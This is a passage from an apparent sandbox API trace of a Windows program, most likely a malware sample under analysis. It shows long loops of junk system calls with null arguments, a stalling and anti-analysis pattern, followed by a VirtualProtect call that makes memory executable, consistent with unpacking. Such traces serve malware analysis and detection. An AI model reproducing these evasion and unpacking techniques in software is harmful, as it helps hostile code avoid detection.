lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.111] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.111] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.111] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.111] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.111] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.111] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.111] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.111] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.111] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.112] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.112] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.112] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.112] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.112] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.112] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.112] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.112] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.112] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.112] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.112] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.112] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.112] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.112] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.112] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.112] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.112] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.112] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.112] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.112] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.112] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.581] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.581] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.581] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.581] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0096.822] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0096.823] CloseHandle (hObject=0x5c) returned 1 [0096.823] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0096.823] GetLastError () returned 0x578 [0098.374] LocalFree (hMem=0x60a0b0) returned 0x0 [0098.374] VirtualProtect (in: lpAddress=0x5d2970, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0098.374] GetLastError () returned 0x578 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.375] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.375] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.375] GetLastError () returned 0x3 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.375] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.375] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.375] GetLastError () returned 0x3 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.375] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.375] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.375] GetLastError () returned 0x3 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.375] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.375] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.375] GetLastError () returned 0x3 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.375] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.376] GetLastError () returned 0x3 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] AddAtomA (lpString=0x0) returned 0x0 [0098.376] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.376] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.376] GetCurrentDirectoryW (in: nBufferLength=0x0, 